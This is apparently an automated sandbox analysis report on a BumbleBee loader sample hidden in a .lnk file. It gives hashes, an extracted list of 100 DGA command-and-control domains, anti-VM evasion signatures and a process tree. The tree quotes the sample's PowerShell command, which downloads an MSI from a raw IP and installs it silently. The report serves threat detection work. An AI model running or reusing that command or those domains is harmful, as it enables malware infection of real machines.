bumblebee | 106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f

Analysis

max time kernel
137s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2024 07:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Report-41952.lnk
Size

3KB
MD5

2aed3939fbf8f1967d68fcc746771889
SHA1

eb04819a97ca2cf33211c6ea323a9c77cdfacfcf
SHA256

106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f
SHA512

0d45000b7a470655668e5c0c95aaab3911b75b3f4163abb02f9b6e987e070ad02af144d5f791ebf6940c5c838f35ff55f7c0b906ade62f47dde6ad9ff1750b1c

Score

10^/10

bumblebee msi discovery evasion execution loader

Malware Config

Extracted

Family

bumblebee

Botnet

msi

Attributes

dga
tvx1ovdepj8.life

acgr6r8zdot.life

ilofx941igp.life

8x2apo5m7ri.life

x9yrzer0ndt.life

93j4v4jopzd.life

ameagxzo2f7.life

nyy41uibsv5.life

ru4jvijdytq.life

l9t6r0y6cvi.life

f4vb9n3tdvh.life

9do3mcejztt.life

pxu1ajsdhqr.life

7exy2b231n2.life

vu5b47m18jn.life

6mnudp7zj73.life

p5047yjrb8q.life

d0xtxp89bb9.life

ygo9u1fkwux.life

fig3gj0v6qe.life

38f5wvwwn7o.life

txgogs9p8a1.life

uyn0icgx1kv.life

2z1ls31az7s.life

0cc2z8zrnhf.life

fsr2hskx44p.life

du19ek78tjw.life

234ct3lkozp.life

he8fq4k8d3w.life

7ewh8ltr7il.life

dw34kmgfl7t.life

f2j20ayqh8y.life

331k2rdkmmb.life

37z6li6l9y2.life

dpgs2lt1sbz.life

plll0xq4y82.life

bzc9sq2pz53.life

7r8ln1wswth.life

y9neib92f2m.life

m5iukps17y7.life

xo8be64ejh2.life

widn8soih8u.life

08mkuqnx6gv.life

lzeqr3apopn.life

o4m5a5no7e8.life

2u8znzsbrto.life

dxyob8x456a.life

lrugnff8fkc.life

38i6lh0rpze.life

mjb3r6mcs1f.life

vl41cymzzfq.life

qc4mwjiop45.life

z3z4fq0420z.life

0tab35o0swu.life

4izk0gc9is6.life

6brdh3p893b.life

736d0mvetjw.life

drmk5rdefb5.life

1v0xhie4os8.life

khxcp22s3dz.life

8z9m8hndrhp.life

xeoz1f1vjs0.life

lobavyclh8e.life

in4pzu7t2pv.life

j280b59doxz.life

6q894zusd4k.life

y7pzxau0717.life

bev8ymaajb7.life

glux8x5b8d6.life

yan95akxgqt.life

9qiliikd3sp.life

ge0lpqif3ar.life

ar7xakeve0o.life

eb4l6wisq9z.life

1grovn87c8s.life

wdga570b8pz.life

nzs8vi9w5o8.life

q7dfpyyhe08.life

exueqqmz3ia.life

65r8nx12fqr.life

vauy5ah65sx.life

8hjv8mbhrlj.life

eeqwg3mzq07.life

b1h0uaabzyz.life

8qvt5iabz5n.life

8ru044xed25.life

w8ligr695sd.life

3e6rrifr5fn.life

9f6p9g7x13s.life

ibcm5at6qrz.life

spd22scperm.life

4k59ij2ujeu.life

07zxfo0kere.life

nhdeapyfg7e.life

y0zvqpi42no.life

zdf5ki8x9r0.life

8mgj12azbyd.life

l6syolvczan.life

mk7plk9c6i2.life

hudrx8fn980.life
dga_seed
1.0163655285949564e+18
domain_length
11
num_dga_domains
100
port
443

rc4.plain

Signatures

BumbleBee
BumbleBee is a loader malware written in C++.
loader bumblebee

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	MsiExec.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	MsiExec.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	MsiExec.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MsiExec.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	MsiExec.exe

Blocklisted process makes network request 9 IoCs

flow	pid	Process
8	1368	powershell.exe
42	3448	MsiExec.exe
73	3448	MsiExec.exe
78	3448	MsiExec.exe
81	3448	MsiExec.exe
86	3448	MsiExec.exe
88	3448	MsiExec.exe
90	3448	MsiExec.exe
98	3448	MsiExec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	MsiExec.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	MsiExec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	cmd.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Wine	MsiExec.exe

Loads dropped DLL 6 IoCs

pid	Process
1888	MsiExec.exe
1888	MsiExec.exe
1888	MsiExec.exe
1888	MsiExec.exe
1888	MsiExec.exe
3448	MsiExec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
88	api.ipify.org
87	api.ipify.org

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	MsiExec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI6F02.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6FDE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7166.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E29C2A9E-997E-49AB-92C0-59583123ED29}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7290.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e586b96.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI708B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e586b96.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6D1D.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
1368	powershell.exe
1368	powershell.exe
1668	msiexec.exe
1668	msiexec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe
3448	MsiExec.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeShutdownPrivilege	624	msiexec.exe
Token: SeIncreaseQuotaPrivilege	624	msiexec.exe
Token: SeSecurityPrivilege	1668	msiexec.exe
Token: SeCreateTokenPrivilege	624	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	624	msiexec.exe
Token: SeLockMemoryPrivilege	624	msiexec.exe
Token: SeIncreaseQuotaPrivilege	624	msiexec.exe
Token: SeMachineAccountPrivilege	624	msiexec.exe
Token: SeTcbPrivilege	624	msiexec.exe
Token: SeSecurityPrivilege	624	msiexec.exe
Token: SeTakeOwnershipPrivilege	624	msiexec.exe
Token: SeLoadDriverPrivilege	624	msiexec.exe
Token: SeSystemProfilePrivilege	624	msiexec.exe
Token: SeSystemtimePrivilege	624	msiexec.exe
Token: SeProfSingleProcessPrivilege	624	msiexec.exe
Token: SeIncBasePriorityPrivilege	624	msiexec.exe
Token: SeCreatePagefilePrivilege	624	msiexec.exe
Token: SeCreatePermanentPrivilege	624	msiexec.exe
Token: SeBackupPrivilege	624	msiexec.exe
Token: SeRestorePrivilege	624	msiexec.exe
Token: SeShutdownPrivilege	624	msiexec.exe
Token: SeDebugPrivilege	624	msiexec.exe
Token: SeAuditPrivilege	624	msiexec.exe
Token: SeSystemEnvironmentPrivilege	624	msiexec.exe
Token: SeChangeNotifyPrivilege	624	msiexec.exe
Token: SeRemoteShutdownPrivilege	624	msiexec.exe
Token: SeUndockPrivilege	624	msiexec.exe
Token: SeSyncAgentPrivilege	624	msiexec.exe
Token: SeEnableDelegationPrivilege	624	msiexec.exe
Token: SeManageVolumePrivilege	624	msiexec.exe
Token: SeImpersonatePrivilege	624	msiexec.exe
Token: SeCreateGlobalPrivilege	624	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe
Token: SeRestorePrivilege	1668	msiexec.exe
Token: SeTakeOwnershipPrivilege	1668	msiexec.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 1368	2088	cmd.exe	90
PID 2088 wrote to memory of 1368	2088	cmd.exe	90
PID 1368 wrote to memory of 624	1368	powershell.exe	94
PID 1368 wrote to memory of 624	1368	powershell.exe	94
PID 1668 wrote to memory of 1888	1668	msiexec.exe	99
PID 1668 wrote to memory of 1888	1668	msiexec.exe	99
PID 1668 wrote to memory of 1888	1668	msiexec.exe	99
PID 1668 wrote to memory of 3448	1668	msiexec.exe	100
PID 1668 wrote to memory of 3448	1668	msiexec.exe	100

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Report-41952.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\Admin\AppData\Roaming\y.msi";msiexec /i C:\Users\Admin\AppData\Roaming\y.msi /qn
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Roaming\y.msi /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4244,i,15436195446242760253,4000484513008731869,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:8
1⤵
PID:4804

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9628C0EA3A52976DA00BCFCE610BD492
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1888
- C:\Windows\System32\MsiExec.exe
  "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"
  2⤵
  - Enumerates VirtualBox registry keys
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Blocklisted process makes network request
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  PID:3448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\BDncqpUxZl.dll

Filesize
2.1MB

MD5
40ee908eff9418d1cbcb36ea516ca34e

SHA1
e13e947f3ce59a2a58ce09c2d8888053d685fa44

SHA256
7df703625ee06db2786650b48ffefb13fa1f0dae41e521b861a16772e800c115

SHA512
eedae343bf53411aa9a64e0f6ae9ee1ac15b6cdc02d94894604974e5d0ffcafc56f9df9afa368cab38a017785e559d75bb9dea95bffc78088048cf3b1ec7d639

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mg3l2ehq.aov.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\y.msi

Filesize
2.6MB

MD5
c962d866683ba35349a00a70e9c759b4

SHA1
8527e1ab0068df818d5bc991bca0e12c442912c1

SHA256
c26344bfd07b871dd9f6bd7c71275216e18be265e91e5d0800348e8aa06543f9

SHA512
e05e172dc1c0b5feca7ca894d75790e1ceb1cf0f006d90ea6950041fadb14cec9503b628a09584a3bca21459618cc7ed7dd0b603572cdf5442391c74af5a68fb

Download Submit
C:\Windows\Installer\MSI6D1D.tmp

Filesize
816KB

MD5
aa88d8f40a286b6d40de0f3abc836cfa

SHA1
c24eab9e4b10b159b589f4c3b64ef3db111ea1c8

SHA256
8d633efeda1249356b11bf8f46583242356e4f903056b53bd25a99511d1790a1

SHA512
6c2f2f6a2d66015f30158962d653e381136f0f30023380a0ce95bd0944d856113fbde65db52dbb3b5de1c0e2edf2cd53184e721c64b916834be4198c61224519

Download Submit
memory/1368-19-0x00007FFBEECF0000-0x00007FFBEF7B1000-memory.dmp

Filesize
10.8MB

Download
memory/1368-14-0x00007FFBEECF0000-0x00007FFBEF7B1000-memory.dmp

Filesize
10.8MB

Download
memory/1368-2-0x00007FFBEECF3000-0x00007FFBEECF5000-memory.dmp

Filesize
8KB

Download
memory/1368-13-0x00007FFBEECF0000-0x00007FFBEF7B1000-memory.dmp

Filesize
10.8MB

Download
memory/1368-8-0x00000229B2CB0000-0x00000229B2CD2000-memory.dmp

Filesize
136KB

Download
memory/3448-51-0x0000022201AE0000-0x0000022201CF9000-memory.dmp

Filesize
2.1MB

Download
memory/3448-52-0x0000022201AE0000-0x0000022201CF9000-memory.dmp

Filesize
2.1MB

Download
memory/3448-53-0x0000022201AE0000-0x0000022201CF9000-memory.dmp

Filesize
2.1MB

Download
memory/3448-50-0x0000022201AE0000-0x0000022201CF9000-memory.dmp

Filesize
2.1MB

Download
memory/3448-54-0x0000022201AE0000-0x0000022201CF9000-memory.dmp

Filesize
2.1MB

Download